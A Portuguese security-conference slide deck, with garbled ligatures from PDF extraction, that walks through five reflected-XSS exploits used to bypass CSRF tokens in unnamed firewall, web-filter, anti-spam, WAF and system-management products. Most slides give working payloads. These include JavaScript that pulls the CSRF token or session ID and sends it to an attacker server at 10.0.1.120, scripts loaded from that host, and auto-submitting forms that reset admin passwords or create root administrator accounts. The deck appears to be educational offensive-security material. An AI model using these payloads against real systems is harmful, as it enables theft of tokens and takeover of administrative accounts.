Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF
William Costa
Bypass de Token CSRF
Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
Bypass de Token CSRF Vulnerabilidade CSRF. • Cross-‐site request forgery é o envio de comandos (dados) pelo usuário a um site que confia em seu browser (usuário já auten2cado) sem o consen2mento/conhecimento
do mesmo. • Normalmente ocorre com ajuda da engenharia social, por meio de envio de links e/ou phishings .
Bypass de Token CSRF
Senta que lá vem a Historia do CSRF.
• O Primeiro CVE disponível no mitre sobre CSRF (CVE-‐2002-‐1648) é de uma vulnerabilidade de 2002 no webmail SquirrelMail. • O Mitre conta com 921 CVEs publicados deste 2po de falha.
Bypass de Token CSRF Como ocorre um ataque de CSRF.
• A vi2ma realiza o logon na aplicação vulnerável, com a sessão valida realiza o acesso a um site controlado pelo atacante.
Bypass de Token CSRF
A OWASP recomenda a u2lização de Tokens também conhecidos como Token CSRF para prefinir o ataque de CSRF normalmente são u2lizados para validação dos dados enviados via POST(podem ser enviados via GET também), prevenindo assim, um atacante de enviar via browser da vi2ma informações sem o conhecimento prévio do token. Impossibilitando o ataque CSRF.
Bypass de Token CSRF
Exemplo de um Token CSRF
Bypass de Token CSRF Como funciona o Token CSRF.
Cross-‐Site ScripBng (XSS) • Cross-‐Site Scrip2ng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legi2mo,
dessa forma o script será executado pelo browser da vi2ma.
Bypass de Token CSRF
TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – Injec2on • A2 – Broken Authen2ca2on and Session Management • A3 – Cross-‐Site Scrip2ng (XSS) • A4 – Insecure Direct Object References • A5 – Security Misconfigura2on • A6 – Sensi2ve Data Exposure • A7 – Missing Func2on Level Access Control • A8 – Cross-‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
Bypass de Token CSRF
Bypass do CSRF na práBca.
Nos próximos slides irei apresentar 5 formas de by-‐pass de implementações diferentes de Tokens CSRFs. Acredito que o aprendizado pra2co é mais didá2co, então veremos 5 falhas em cinco produtos de mercado que u2lizam alguma implementação do Token CSRF. J
Bypass de Token CSRF
Falha 1# Alvo : • Gerenciador de Sistemas Resultado: Um Reflected XSS no parâmetro “ID” na pagina de configuração de usuários administra2vos.
Bypass de Token CSRF
XSS no parâmetro ID .
• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</script>&&PAGE=2
Bypass de Token CSRF
Saída.
Bypass de Token CSRF
A primeira coisa é localizar um XSS. • Neste aplica2vo a falha se encontra no ID (ID=10) de iden2ficação do usuário administrador. • Não ocorre o tratamento dos dados enviados nesta variável, o conteúdo da variável é inserida em um link de href da tag <a>. • <a href="history_log.php?HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1" onclick='logPopup(this); return false;'>Show All History</a>
Bypass de Token CSRF
Analise do Ambiente. • Agora que já temos o nosso “XSS”, podemos analisar o ambiente e verificar o que é possível fazer com este. • Analisando a pagina onde temos o nosso XSS, vemos que é possível alterar a senha do usuário sem a necessidade da senha atual J.
• Já temos o Nosso Alvo.
Bypass de Token CSRF
Criando nosso Exploit. • Nosso exploit será composto por um javascript, vamos u2lizar o getElementsByName() para localizar o input correspondente ao campo Password e Confirm Password e setar uma senha.
document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456”; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456”;
Porém a nossa injeção de script ocorre no inicio do código HTML, por tanto ainda não existem esses campos. A solução é adicionar nosso código a uma função e setar um 2meout. func2on append(csrf) {
document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456"; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456"; document.UserForm.submit();
} setTimeout("append(\"2meout\")", 1000);
Bypass de Token CSRF
Resultado. Alterado a Senha do Usuário Admin J
Bypass de Token CSRF
Falha 2# Alvo: • Firewall UTM Resultado: • Um Reflected XSS no campo “mkey ” na pagina de configuração dos schedules das regras.
Bypass de Token CSRF
XSS no parâmetro mkey.
• hqp://IP/firewall/schedule/recurrdlg?mkey=a"><script>alert("xss");</script>
Bypass de Token CSRF
Saída.
Bypass de Token CSRF
Localizando a falha.
• O XSS neste caso é inserido no parâmetro “mkey” que é a variável do nome do objeto de schedule. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=text name=name id=name size="50" maxlength="31" onfocus="this.select()" value="a"><script>alert("XSS");</script>">
Bypass de Token CSRF
Analise do Ambiente. • Na pagina onde ocorre a inserção do script, não contém informações sensíveis, mas, o Token CSRF é guardado em um COOKIE. J • Inserindo um simples <script>alert(document.cookie) ;<script>, temos a seguinte saída
• Alvo criação de um novo Usuário
Bypass de Token CSRF
Criando o Exploit. • Iremos criar um script para envio do Token CSRF para nosso servidor, depois enviar o usuário a nossa página para o envio dos dados de criação do usuário administrador (CSRF).
var o_cookie_array = o_cookie.split(";"); var a_data = unescape(o_cookie_array[1]); var a_data_array = a_data.split ("=" ); var token = unescape(a_data_array[1]); window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie=" + encodeURIComponent(token));
Bypass de Token CSRF
• Esse código é responsável pelo envio do ataque CSRF quando o usuário acessa a página. <body onload="CSRF.submit();”> <?php $lines = file ('cookies.txt'); dados = explode('"',$lines[1]); $matrizDeDados[] = $dados; foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <form id="CSRF" ac=on="h?p://ip_fw/system/config/adminadd" method="post" name="CSRF"> <input name="name" value="user.exploit"> </input> <input name="admin_type" value="1"> </input> <input name="newpasswd1" value="123456"> </input> <input name="newpasswd2" value="123456"> </input> <input name="guest_grp" value=""> </input> <input name="CSRF_TOKEN" value="<?php echo $token;?>"> </input> </form>
Criando o Exploit.
Bypass de Token CSRF
Resultado. Criação de um novo usuário de Administração. J
Bypass de Token CSRF
Falha 3# Alvo: • Web Filter Resultado: • Um Reflected XSS no campo “date_range ” na pagina de Repor2ngs por usuários.
Bypass de Token CSRF
XSS no parâmetro date_range.
• hqps://ip_webfilter/monitor/users?printable=False&date_range=a"><script>alert(“XSS”)</script>
Bypass de Token CSRF
Saída.
Bypass de Token CSRF
Localizando a falha. • O XSS neste caso é inserido no parâmetro “date_range” u2lizado para filtro de data. • Mais uma vez a variável não foi tratada e a mesma é inserida em uma tag <input> do html. • <input type="hidden" id="current_date_range” value="aaaaa"><script>alert(2)</script>">
Bypass de Token CSRF
Analise do Ambiente. • Analisando o conteúdo do código devolvido ao usuário encontramos o Token CSRF em uma função do javascript . J
• Alvo: Para a troca de senha do Usuário admin, não é necessário saber a senha anterior J
Bypass de Token CSRF
Criando o Exploit.
• Iniciaremos com a criação do Exploit para localização desse script e a remoção do seu conteúdo e envio ao nosso servidor. Como o nosso script é inserido antes da criação da função que contém o Token iremos adicionar o nosso script um 2meout.
func=on append(csrf) { csrf = document.getElementsByTagName('script').item(20).textContent var o_cookie = csrf; var o_cookie_array = o_cookie.split("="); var a_data = unescape(o_cookie_array[2]); var a_data_array = a_data.split ("&" ); var token = unescape(a_data_array[0]);
window.loca=on.replace("h?ps://ip_server/cookie.php?cookie=" + encodeURIComponent(token)) }
setTimeout("append(\"=meout\")", 2000);
Bypass de Token CSRF
Criando o Exploit. <?php $lines = file ('cookies.txt'); $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?>
<body onload="CSRF.submit();"> <form id="CSRF" ac=on="h?ps://IP_applicacao/system_administra=on/access/users" method="post" name="CSRF"> <input name="screen" value="system_administra=on.access.users"> </input> <input name="isEdit" value="true"> </input> <input name="userName" value="admin"> </input> <input name="group" value="admin"> </input> <input name="passwd" value="123456789"> </input> <input name="retypePassword" value="123456789"> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>
Bypass de Token CSRF
Resultado.
Alteração da senha do usuário Admin. J
Bypass de Token CSRF
Falha 4# Alvo: • Messaging Security (an2-‐spam) Resultado: • Um Reflected XSS no campo “new ” na pagina de criação de usuários administra2vos.
Bypass de Token CSRF
XSS no parâmetro new.
• hqps://ip_an2spam/admin?module=SysUser&method=user&new=1><script src=//10.0.1.120/e.js
Bypass de Token CSRF
Saída.
Bypass de Token CSRF
Localizando a falha.
• O XSS neste caso é inserido no parâmetro “new” u2lizado para informar a criação de um novo usuário administrador na aplicação. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=hidden name=new value=1><script src=//10.0.1.120/e.js>
Bypass de Token CSRF
Analise do Ambiente. • Analisando o conteúdo do código devolvido ao usuário vemos que o nosso script é inserido dentro de uma TAG input . J
• Alvo: Já estamos na página de criação de novos usuários administradores, por que não criar um para nós?!.
Bypass de Token CSRF
Criando o Exploit.
• Esse exploit tem o intuito de preencher os campos input do usuário, senha e role, porém quando inserimos o XSS quebramos a tag input do usuário. Vamos corrigir isso com um simples document.write.
//Create tag input with Id of user that was break by XSS document.write("<input id='id' name='id' value='user.exploit'>");
//Set values in input with password and role func=on append(csrf) { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit();
} setTimeout("append(\"=meout\")", 1000);
Bypass de Token CSRF
Resultado.
Criação de um novo usuário de Administração. J
Bypass de Token CSRF
Falha 5# Alvo: • WAF (Web Applica2on Firewall) Resultado: • Um Reflected XSS da pagina de Regex pré definidos em um script de criação de cookie
Bypass de Token CSRF
XSS na URL.
• hqps://waf/prot/paqern/list_url_rule/aaa">}//-‐-‐></script><script src=hqps://10.0.1.120/exploit.js></script>
Bypass de Token CSRF
Saída.
Bypass de Token CSRF
Localizando a falha. • O XSS neste caso é inserido na URL que é u2lizada para criação de um cookie por um javascript • A URL não foi tratada e a mesma é inserida em um javascript <script> da aplicação.
setCookie("/prot/pa?ern/list_data_type/aaa">}//-‐-‐></script><script src=h?ps://10.0.1.120/teste.js></script>"
Bypass de Token CSRF
Analise do Ambiente. • Analisando o código devolvido ao usuário encontramos o Token CSRF com o nome de Session_ID, já temos o nosso token.
Alvo: Criação de um Novo usuário
Bypass de Token CSRF
Criando o Exploit.
• Esse exploit envia ao servidor o Session_ID que vai ser usado para criação de um usuário administrador. J
window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie=" + encodeURIComponent(session_id));
• Não precisamos nem nós preocuparmos em como obter o token ele é uma variável universal.
Bypass de Token CSRF
Bypass de Token CSRF
Criando o Exploit.
Criação de um novo usuário de Administração. J
Bypass de Token CSRF
Resultado.
Conclusão. • Se temos um XSS na aplicação é fácil burlar as proteções de Flag HqpOnly do cookie ou Token CSRF.
Bypass de Token CSRF
<script>alert(String(/Perguntas?/).substr(1,10) ); </script>
twifer.com/@willcosta
Bypass de Token CSRF